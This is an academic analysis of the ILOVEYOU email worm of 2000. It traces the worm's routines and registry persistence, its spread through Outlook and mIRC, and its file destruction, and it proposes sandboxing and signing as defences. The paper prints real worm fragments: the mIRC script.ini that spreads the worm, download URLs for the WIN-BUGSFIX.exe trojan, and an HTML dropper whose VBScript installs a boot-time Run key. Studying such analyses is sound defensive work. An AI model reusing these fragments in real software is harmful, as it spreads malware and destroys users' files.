Analysis of the ILOVEYOU Worm

Matt Bishop
Department of Computer Science
University of California at Davis
Davis, CA 95616-8562

***email*: bishop@cs.ucdavis.edu**

On May 4, 2000, many computer users found a letter with the subject ILOVEYOU , The worm instructed the reader to click on an attachment to see a love letter. Those who did spread a worm to the users in their Outlook address books, and introduced a password-grabbing program onto their systems that was invoked at the next reboot.

This worm was particularly virulent. In a few hours, it had spread worldwide. Among the institutions affected were the British Parliament, the United States Congress, the United States Air Force, and innumerable businesses and organizations. Most anti-virus vendors had signatures out within 24 hours, and several mailing lists described how to filter electronic mail to block any incoming instances of electronic mail containing the worm. Unfortunately, the nature of the filtering was not comprehensive, and copycat worms with differing subject lines slipped through. The seriousness of the problem increased as a variant informed people that about $300 had been charged to their credit card for a Mothers Day present, and they could click on the attachment to see the invoice. The latter step would ostensibly provide the information needed to challenge the unauthorized charge. That step introduced the worm onto the system.

The worm targeted systems running Internet Explorer and Microsoft s Outlook application. It affected any system on which the receiving application automatically executed the Visual Basic enclosure, or on which the user requested that the Visual Basic application be executed and it was executed. This raises several issues:

1. Although the worm appeared to target Windows systems running the wsh interpreter for Visual Basic, it would run on any system that interpreted Visual Basic and had the WScript library. What would it do on those systems?
2. How sensitive is the worm? That is, is it architecturally tattered to Windows systems, or could it affect other systems? How hard is modifying the worm to affect other systems such as UNIX-based systems and Macintosh systems?

3. If the worm, or adaptations of it, could affect other systems, what can be done to minimize the danger?

This note answers these questions. After reviewing the structure and organization of the worm, we present an analysis of the characteristics that a system must have to be affected, and how the worm affects those systems. We then extrapolate to discuss prevention and confinement of the danger. We conclude with some suggestions about protecting systems.

Anatomy of the Worm

The worm is written in Visual Basic, and is processed by the WScript engine. The program consists of four main routines and one that initializes and calls the others. This section examines the routines individually.

The following terms are used throughout. The *root_folder* is the folder at the root of the system file hierarchy. The file *system_folder* is the folder in which the operating system, Windows, resides. The file *temp_folder* is the folder in which processes place temporary files.

The first routine invoked is *main*.

MAIN

This routine copies the worm script into 3 places:

- *root_folder*\MSKernel32.vbs
- *root_folder*\LOVE-LETTER-FOR-YOU.TXT.vbs
- *system_folder*\Win32DLL.vbs

It then invokes the routines *regrun*, *spreadtoemail, html*, and *listadriv.*

Analysis: This routine makes the worm s source available to the routines that it will call. It also sets up several variables for later use.

REGRUNS

This sets the following registry keys:

- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32` set to *system_folder*\MSKernel32.vbs
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL` set to *system_folder*\Win32DLL.vbs

If the file *system_folder*\WinFAT32.exe does not exist, the registry key `HKCU\Software\Microsoft\Internet Explorer\Main\Start Page` is set to one of the following four values:

1. http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6-587345gvsdf7679njbvYT/WIN-BUGSFIX.exe
2. http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe54678-6324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe

3. http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm-POhfgER67b3Vbvg/WIN-BUGSFIX.exe
4. http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh-YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe

If the file *temp_folder*\WIN-BUGSFIX.exe exists, set the registry key `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX` to *temp_folder*\WIN-BUGSFIX.exe and reset `HKCU\Software\Microsoft\Internet Explorer\Main\Start Page` to about:blank .

Analysis: This routine inserts Trojan horses throughout the system. The first Trojan horse is the worm script, which is set to be run at boot time. The second Trojan horse will be loaded onto the system when Internet Explorer next loads its home page from the World Wide Web. If it has already been loaded, the setting of a third registry key ensures it is also executed at boot time; also, the Internet Explorer home page is made blank.

HTML

This routine creates a web page called *system_folder*\LOVE-LETTER-FOR-YOU.HTM. This page contains a Java script that creates a window, and a Visual Basic script that recreates the worm and executes it. Considerable machinations are needed to include characters meaningful to Visual Basic (such as quotation marks) and HTML interpreters (such as < and >). The web page code is

Analysis: This creates a web page that the *spreadtoemail* routine will send through IRC (see *spreadtoemail* for details).

SPREADTOEMAIL

This routine spreads the worm throughout all the victim's addresses in all his or her address lists. For each address list (book), it creates a registry key of the form `HKEY_CURRENT_USER\Software\Microsoft\WAB\`*`listname`* that is ultimately set to the number of entries in that list. For each address (entry) in the address list, the worm creates a registry key `HKEY_CURRENT_USER\Software\Microsoft\WAB\`*`addressentry`*. If that latter key does not initially exist, the worm sends the addressee a letter with subject ILOVEYOU , body

```
kindly check the attached LOVELETTER coming from me.
```

and a copy of the file *root_folder*\LOVE-LETTER-FOR-YOU.TXT.vbs (that is the worm) as an attachment.

Analysis: This routine spreads the worm through electronic mail. It also creates registry keys for each address to prevent the worm from being sent to the same address more than once.

LISTADRIV

This locates each fixed and remote drive, and recursively goes through all the folders on each drive. In each folder, it looks for specific types of files and acts based upon the file type:

TABLE 1. Table of file types and changes from the ILOVEYOU worm

file type	action	example
vbs, vbe	overwrite the contents of the file with the worm script	*x*.vbs is changed into the worm
js, jse, css, wsh, sct, hta	copy the worm into a file with the same base name but a vbs extension and delete the original file	*x*.jse is deleted and the worm is put into *x*.vbs
jpg, jpeg	copy the worm into a file with the same name and a .vbs extension appended; delete the original file	*x*.jpg is deleted and the worm is put into *x*.jpg.vbs
mp2, mp3	copy the worm into a file with the same name and a vbs extension appended; hide the original file[a]	*x*.mp2 is hidden and the worm is put into *x*.mp2.vbs

a. The worm adds 2 to the attribute type. If the file s type is normal (as is usual), this changes the attribute to hidden. If the file s type is anything else, the effect is undefined.

Then, if the folder contains any of the following files:

- mirc32.exe
- mlink32.exe
- mirc.ini
- script.ini
- mirc.hlp

the worm creates a file called script.ini . This file contains the following commands:

```
[script]
;mIRC Script
; Please dont edit this script... mIRC will corrupt, if mIRC will
; corrupt... WINDOWS will affect and will not run correctly. thanks
;
;Khaled Mardam-Bey
;http://www.mirc.com
;
n0=on 1:JOIN:#:{
n1=  /if ( $nick == $me ) { halt }
n2=  /.dcc send $nick system_folder\LOVE-LETTER-FOR-YOU.HTM
n3=}
```

Analysis: This routine is one of the payloads of the worm (WIN-BUGFIX.exe being the other). It deletes original files, and replaces them with copies of the worm. (MP2 and MP3 files are hidden, not deleted.) When a user double-clicks on the corresponding icon, the worm is launched. If the user appears to run mIRC from that folder, the initialization script for that folder is set to send the web page created in *html* to any channel that the user joins.

Analysis of the Worm

Putting this all together, how did the worm work? Tracing its behavior when it is first activated s instructive. The following sequence of steps describes the worm s actions; *the effects are in italics*.

1. When activated, the worm created three copies of the script, and added registry keys to cause two of those to be executed on reboot. *The purpose of this step is to ensure the worm will propagate to any new addressees added to any address book after infection, even if the system is shut down and then restarted. Two of these look like reasonable kernel and dynamic load library files, and will likely be missed in a cursory search for the worm s detritus. The third copy will be used elsewhere.*
2. If WinFAT32.exe does not exist, the registry key corresponding to the Internet Explorer home page is changed to one of five possible values. If a file named WIN-BUGSFIX.exe is not in the system s temporary directory, the home page registry key is set to cause that program to be downloaded. Otherwise, the worm adds a registry key to execute WIN-BUGSFIX.exe on boot, and the home page registry key is set to the blank page. *If WinFAT32.exe is present, the program to be downloaded does not work and this step is skipped. This step arranges for the worm to be downloaded the next time Internet Explorer downloads its home page. As the page is a .exe file, the user will be asked if the file is to be stored or executed. The name of the file, WIN-BUGSFIX.exe, suggests it is needed to fix problems with the Windows system. The worm does not do the download, so WIN-BUGSFIX.exe will not be added to the list of boot programs until the first run of the worm after the program has been downloaded. In the worst case, this happens after the fist reboot following the download.*
3. The worm creates a web page (see Appendix A). The web page will be sent over IRC later. The web page contains the Visual Basic source of the worm, plus a wrapper to convert escape sequences to characters meaningful to Visual Basic. *The web page is an alternate mode of spreading. The escapes are needed because some sequences meaningful to Visual Basic, such as quotation marks and backslashes, are meaningful to HTML.*
4. The worm then accesses the Outlook application, obtains each address list (and creates a registry key for each one), and sends each address on each list a letter. A registry key for each name is created, and each addressee gets the letter once (even if named on multiple address lists). *Every time the worm runs, it sends copies of itself to any addresses added after the worm last ran. The corresponding registry keys are added (addresses) and updated (address lists).*
5. This step is the destructive step. On fixed drives (local hard drives) and remote drives, Visual Basic, Active X, Java, and picture files are replaced by copies of the worm, so when the user double-clicks on the icon corresponding to the file, the worm is launched. Movie files are simply hidden, but a worm file with the same base name is created, giving a similar effect.
6. The last step propagates the worm through any subsequent IRC channels that the user joins. *The worm is sent as an HTML file using the IRC command dcc .*

BUGS

The program has an interesting bug, and a very odd segment of code.

The bug exists in the routine to send mail. The code used to determine if new addresses have been added is:

```
set a=mapi.AddressLists(ctrlists)
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
```

followed by the code to do the mailing in the body of the if statement. Notice that the registry key corresponding to the address list name contains the number of entries. This means that if an address list contains 1 entry, the condition in the last if statement is false and no mail is sent.

The odd segment of code appears to be a function to check whether a folder exists. This routine is not invoked anywhere, uses a method (*GetFolderExists*) that does not exist, and returns a value by assigning to *fileexists*, not *folderexists*.

SYSTEM REQUIREMENTS

The worm makes certain assumptions about the systems on which it will run:

1. The user can write to the *root* and *system* folders (directories).
2. The system supports registry keys.
3. The registry can hold at least $m+n+4$ more registry keys, where n is the number of unique address list entries and m is the number of address lists.
4. The worm can arrange to be executed at system boot time.
5. The system runs Internet Explorer.
6. The system runs Outlook.
7. The system runs mIRC.
8. The system runs Visual Basic.

If any problems arise, the worm continues to run, as each routine has an error handler that causes execution to resume at the next statement when an error occurs.

Effects of Execution

The effects of execution depend on how well the systems meet the above requirements.

Windows. These systems typically meet all requirements, although mIRC is less common than the other tools. Aside from the deletion of files as discussed above, another result of executing the worm is the construction of many registry keys. If there are enough address list entries, the registry could overflow with key definitions. This prevents new keys from being added to the registry and may lead to system or program crashes.

Macintosh. Macintosh systems have no concept of the registry. Thus, the worm is not set up to run at boot time, the Internet Explorer home page is not changed, and the worm is sent to all addressees even if it has been sent to them before. As a side note, if one does not use Internet Explorer or Outlook to read the attachment, the Macintosh will ask the user what program to associate with the file. In most cases, the user will not select the Internet Explorer, in which case the worm will not be executed. While the web page is created, the mechanisms for launching IRC are different, and mIRC does not run on a Macintosh. So, unless some IRC server available for the Macintosh uses a *scripts.ini* file, those files will not be created. Also, the Macintosh does not use file extensions to describe type; it instead uses a property associated with the file. Hence the destructive deletion of files is less likely to occur. Finally, should the WIN-BUGSFIX.exe file be downloaded somehow, it will not execute.

UNIX-based Systems. These systems do not have a Visual Basic interpreter, so the attachment will either be displayed or saved in a file as text. Thus the worm is inert on UNIX systems.

Countermeasures

Other sources have described cleaning up Windows systems after the infection. Rather than repeat their suggestions, we examine how to inhibit or prevent their introduction. As motivation, we note that neither UNIX-based not Macintosh systems are immune to worms like the ILOVEYOU worm.

Macintosh. Applescript has many of the same features as Visual Basic. While the mechanisms for accessing address book information will be completely different, the features of Applescript could be used to create and execute a worm like ILOVEYOU.

UNIX-based Systems. UNIX-based systems offer a plethora of languages in which to write worms. The simplest is the language of the Bourne shell command interpreter; the most popular is probably the PERL language. Either of these can read, and parse, address lists of any number of personal mailers. Changing the home page of browsers involves locating, and writing to, a file owned by the user. The only functional difference is that the worm could not add itself to a system boot routine unless the user were *root*. However, it *could* add itself to login files so that it is invoked whenever the user logs in, and this is more in the spirit of the ILOVEYOU.

In short, any system can be affected by a program like the ILOVEYOU. The formal term for worms like it is the *discretionary Trojan horse*. A quick review of general techniques for handling such programs may give insight into how one could defend against the ILOVEYOU worm, and similar worms.

The first technique is to enforce strong typing [2]. In this context, the two types are data and instructions. The worm arriving in a letter, it would be considered data, and not executable (that includes via interpretation). Making it executable would require a specific act by a trusted user, in this context the user who received the message. The practical problem here is that is *exactly* what happened. Recipients of the letter had to take affirmative action (double-clicking an icon representing an attachment, or clicking a box to

turn on ActiveX in an Internet Explorer browser. A compromise would be to inhibit the spreading function by disallowing access to the address lists by a Visual Basic program run under Outlook. The effects of this on the utility of Outlook are not clear.

A second approach is to use the *sandbox* technique; in effect, limit the protection domain of programs run as attachments, or under a web browser; this is a straightforward implementation of the principle of least privilege [6]. Among elements omitted from the protection domain are the ability to execute certain programs or read certain files. Obvious choices here would be system directories (such as the registry or system folders), or any program other than a very small, vetted set (Outlook would be an example). Then the worm would be unable to delete files outside the sandbox, and unable to execute, or communicate with, other programs, Netscape uses this technique to limit potential damage from Java and Javascript. Formally, this is a variant of Biba s model [1], in which high-integrity data and processes (local to the system) cannot interact with a low-integrity process (from an attachment in an electronic letter, or downloaded from the Web).

As a practical matter, limiting the ability of such programs to run may impose unacceptable constraints upon the environment in which a particular user functions. For example, consider a site that provides updates for a system using the Web. The sandbox would prevent any such programs from updating the system or programs resident on the system. The user would need to download the program and run it as a separate process. This may be an acceptable price for some users; it may not for others. The principle of psychological acceptability [6] dictates that a reasonable balance be struck, but the nature of the environment controls the reasonableness of any balance. It is worth noting that users of Netscape, which imposes such a sandbox on Java and Javascript programs, accept and work within such limits easily and painlessly.

Karger s knowledge-based subsystem [5] intercepts every file or process access, and checks in a database to see if the access should be allowed. Of course this scheme could not check all individual scripts and programs because new ones will be written and distributed before their needs could be put into the database. The knowledge-based subsystem would have default settings to deny access to any files or programs outside the sandbox, and then have exceptions that would allow specific scripts or programs to go outside the sandbox in controlled ways. The exceptions could be encoded as part of the digital signature of the downloaded code, and the certificate would identify the origin. Anything unsigned would be restricted as though it contained no allowed extensions to the sandbox.

A word about identifying the worm is appropriate. In general, the detection of malicious logic such as worms, viruses, and Trojan horses is an undecidable problem [3]. However, it is possible to detect specific malicious logic by examining its characteristics [7]. Most vendors released patches that detected the subject of the electronic letter (ILOVEYOU). Malicious users changes the subject to Funny joke , and the patches did not block the worm. Further problems arose from the Mother s Day variant of this worm, which indicated that the recipient s account had been charged a large amount of money (around $300) for a Mother s Day present. The letter said the attachment was the invoice. The idea was that the recipient would open the attachment to bring up the invoice. In so doing, the worm would be triggered. Unfortunately, it was a very successful idea.

However, a variant of the signature approach would be effective [4]. The worm may perform unusual activities. For example, the ILOVEYOU worm adds keys to the registry. Even if this were omitted, the worm would send large amounts of electronic mail. Looking for these characteristics would indicate an unusual program, because downloaded programs rarely send more than one letter. In other cases, characteristics such as writing to the system root area would indicate suspect behavior. The practical problem is characterizing such behavior.

Conclusion

The virulence of the ILOVEYOU worm should not have been surprising. It did not apply any new techniques, and could have done far more damage. However, that it had such a damaging effect and spread so rapidly indicates the vulnerability of systems to attacks that depend upon na ve users.

This paper discussed how the worm works. Our contribution is twofold: first, to demonstrate that a similar program would work, be as virulent as, and do as much (if not more) damage on, Macintoshes and UNIX-based systems. Our second contribution is to suggest that certification and sandboxing be combined, with the degree of sandboxing controlled by the signer and bound to the certificate. In addition, we hope the description of the worm s structure will be helpful to analysts trying to cope with the inevitable copycat and modified versions of this worm.

One perennial question is whether any program designed to breach security should be discussed publicly in this much detail First, the source code of the worm is freely available at a number of sites, not to mention in the electronic mail containing the worm itself! Secondly, this paper does not present the author s full disassembly, and subsequent commented version, of the worm. The author feels that releasing that would enable an attacker to change the worm into something far nastier (just change what the WIN-BUGSFIX.exe and the payload portions do). But the structure of the worm how it did its functions explains how the worm worked in enough detail to enable analysts to go through the source code and easily understand it. There is precedent. The source code of the Internet worm of 1988 has never, to the author s knowledge been released officially, but the seminal paper discusses the operation of the worm in great detail. This paper is intended in that spirit.

References

1. K. Biba, Integrity Considerations for Secure Computer Systems, Technical Report MTR-3153, The MITRE Corporation, Bedford, MA (Apr. 1977).
2. W. Boebert and C. Ferguson, A Partial Solution to the Discretionary Trojan Horse Problem, *Proceedings of the Eighth Computer Security Conference* pp. 245-253 (Sep. 1985).
3. F. Cohen, Computer Viruses: Theory and Experiments, *Computers and Security* **6**(1) pp. 22-35 (Feb. 1987).

4. D. E. Denning, An Intrusion-Detection Model, *IEEE Transactions on Software Engineering* **SE-13**(2) pp. 222-232 (Feb. 1987).
5. P. A. Karger, Limiting the Damage Potential of Discretionary Trojan Horses, *Proceedings of the 1987 Symposium on Security and Privacy* pp. 32-37 (Apr. 1987).
6. J. Saltzer, and M. Schroeder, The Protection of Information in Computer Systems, *Proceedings of the IEEE*, **63**(9) (1975) pp. 1278-1308.
7. C. Young, Taxonomy of Computer Virus Defense Mechanisms, *Tenth National Computer Security Conference Proceedings* pp. 220-225 (Sep. 1987).

Appendix A. The Worm s Web Page (Source)

The text of this source has been reformatted to make it easier to read. The phrase *worm_source_code* is the Visual Basic script making up the worm, with some character substitutions: `[-[` for a single quotation mark, `]-]` for a double quotation mark, and `%-%` for a backslash.

```
<HTML>
<HEAD>
<TITLE>LOVELETTER - HTML</TITLE>
<META NAME="Generator" CONTENT="BAROK VBS - LOVELETTER">
<META NAME="Author" CONTENT="spyder / ispyder@mail.com / @GRAMMERSoft
Group / Manila, Philippines / March 2000">
<META NAME="Description" CONTENT="simple but i think this is good...">
</HEAD>
<BODY ONMOUSEOUT="window.name='main';window.open('LOVE-LETTER-FOR-
YOU.HTM','main')"  ONKEYDOWN="window.name='main';window.open('LOVE-
LETTER-FOR-YOU.HTM','main')" BGPROPERTIES="fixed" BGCOLOR="#FF9933">
<CENTER>
<p>This HTML file need ActiveX Control</p>
<p>To Enable to read this HTML file<BR>
- Please press 'YES' button to Enable ActiveX</p>
</CENTER>
<MARQUEE LOOP="infinite" BGCOLOR="yellow">
----------z-------------------z----------
</MARQUEE>
</BODY>
</HTML>
<SCRIPT language="JScript">
<!--//
if (window.screen){var wi=screen.availWidth;var hi=screen.avail-
Height;window.moveTo(0,0);window.resizeTo(wi,hi);}
//-->
</SCRIPT>
<SCRIPT LANGUAGE="VBScript">
<!--
on error resume next
dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit
aw=1
code=worm_source_code
set fso=CreateObject("Scripting.FileSystemObject")
```

```
set dirsystem=fso.GetSpecialFolder(1)
code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))
code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))
code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))
set wri=fso.CreateTextFile(dirsystem&"\MSKernel32.vbs")
wri.write code4
wri.close
if (fso.FileExists(dirsystem&"\MSKernel32.vbs")) then
if (err.number=424) then
aw=0
end if
if (aw=1) then
document.write "ERROR: can't initialize ActiveX"
window.close
end if
end if
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur-
rentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
//-->
</SCRIPT>
```

Appendix B. Detritus of the Worm on a Windows System

Files added or changed (also see Table 1 on page 4):

- *root_folder*\MSKernel32.vbs, written;
- *root_folder*\LOVE-LETTER-FOR-YOU.TXT.vbs, written and read;
- *system_folder*\Win32DLL.vbs, written;
- *temp_folder*\WIN-BUGSFIX.exe (may not be present; user must download), check for existence;
- *folder*\script.ini (only in folders where that file or other IRC component is available), written;
- The script file, the name of which will vary; read and executed.

Registry keys added or changed:

- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32` (set to *system_folder*\MSKernel32.vbs)
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL` (set to *system_folder*\Win32DLL.vbs)
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX` to (set to *temp_folder*\WIN-BUGSFIX.exe)
- `HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout` (set to 0)

- `HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page` (set to one of the four values given above or to about:blank)
- `HKEY_CURRENT_USER\Software\Microsoft\WAB\`*`listname`* (set to the number of addresses in the address list *listname*); one registry key per address list
- `HKEY_CURRENT_USER\Software\Microsoft\WAB\`*`addressentry`* (set to 1; *addressentry* is the address entry in the address list)

Programs accessed are:

- wsh, the Windows script interpreter;
- Outlook, the Microsoft Outlook application.